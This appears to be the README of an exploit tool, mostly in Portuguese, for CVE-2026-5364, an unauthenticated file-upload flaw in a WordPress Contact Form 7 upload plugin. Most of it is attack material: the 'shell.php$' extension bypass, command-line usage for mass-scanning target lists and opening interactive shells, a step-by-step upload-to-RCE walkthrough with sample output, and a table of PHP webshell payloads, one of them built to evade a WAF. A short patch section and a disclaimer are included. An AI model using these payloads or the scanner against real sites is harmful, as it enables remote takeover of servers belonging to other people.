
CVE-2026-5364 is a CVSS 8.1 (High) Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7
CVE-2026-5364 é uma vulnerabilidade de upload arbitrário de arquivo não autenticado (CVSS 8.1, Alto) no plugin Drag and Drop File Upload for Contact Form 7
Upload Arbitrário de Arquivo Não Autenticado via Bypass de
sanitize_file_name()CVSS 8.1 (Alto) | Afetado: <= 1.1.3 | Corrigido: 1.1.4
| Campo | Valor |
|---|---|
| CVE ID | CVE-2026-5364 |
| Plugin | Drag and Drop File Upload for Contact Form 7 |
| Slug | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1 (High) |
| Vetor | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Afetado | <= 1.1.3 |
| Corrigido | 1.1.4 |
| Pesquisador | Thomas Sanzey |
| Publicação | 23 de Abril de 2026 |
O plugin lê a extensão do arquivo antes da limpeza sanitize_file_name().
O atacante envia um arquivo chamado shell.php$:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← burla a blacklist
sanitize_file_name('shell.php$') → 'shell.php' ← salvo como PHP
Três vulnerabilidades independentes em cadeia:
type é lido do usuáriopathinfo() é aplicado ao nome bruto do arquivosanitize_file_name() dentro de wp_unique_filename() remove o caractere $git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests# Exploit básico (comando id)
python CVE-2026-5364.py -u https://target.com
# Comando personalizado
python CVE-2026-5364.py -u https://target.com -c "whoami"
# Shell interativo
python CVE-2026-5364.py -u https://target.com --interactive
# Tipo de shell diferente
python CVE-2026-5364.py -u https://target.com --shell exec
# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# Varredura com 20 threads
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# Tentar versões corrigidas também
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# Salvar resultados em arquivo
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
Alvo:
-u, --url URL URL de alvo único
-l, --list FILE Lista de alvos (uma URL por linha)
Exploit:
-c, --cmd CMD Comando do SO (padrão: id)
--shell TYPE Tipo de webshell: basic|exec|pass|eval|info
-i, --interactive Abrir shell interativo
--no-skip-patched Tentar versões corrigidas também
Varredura:
-t, --threads N Número de threads (padrão: 10)
--timeout S Timeout em segundos (padrão: 15)
--proxy URL Endereço do proxy
Saída:
-o, --output FILE Arquivo de resultados
-v, --verbose Saída detalhada
--no-color Saída sem cores
1. Detecção de Nonce
└─ Exposto a cada visitante via wp_localize_script()
GET /contact/ → no HTML: "nonce":"abc123def4"
2. Upload do Shell
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← não está na blacklist
file=shell.php$ ← sanitize_file_name() → shell.php
3. Obtenção da URL
└─ Response: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Caracteres removidos por sanitize_file_name():
$ % ~ ` (espaço)
A ferramenta tenta automaticamente todos os caracteres de bypass.
Atualize o plugin para a versão 1.1.4 ou superior.
# Atualização via WP-CLI
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// DOĞRU (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id); // POST'tan değil
Esta ferramenta foi desenvolvida apenas para pesquisas de segurança educacionais e defensivas. O uso em sistemas não autorizados é proibido e pode ter consequências legais. Use apenas em sistemas para os quais você tenha permissão.
| Tipo | Payload | Uso |
|---|
basic | <?php system($_GET["cmd"]); ?> | Propósito geral |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | Saída completa |
pass | <?php passthru($_GET["cmd"]); ?> | Saída binária |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | Furtivo/bypass WAF |
info | <?php phpinfo(); ?> | Informação do PHP |
| Fator | Impacto |
|---|
Apache .htaccess (Content-Disposition: attachment) | Impede execução de PHP |
| Nginx / LiteSpeed | .htaccess inválido — RCE possível |
Nome de arquivo aleatório (uniqid()) | Como a resposta AJAX retorna a URL, ineficaz |
| Nonce | Proteção CSRF — não é autenticação, ineficaz |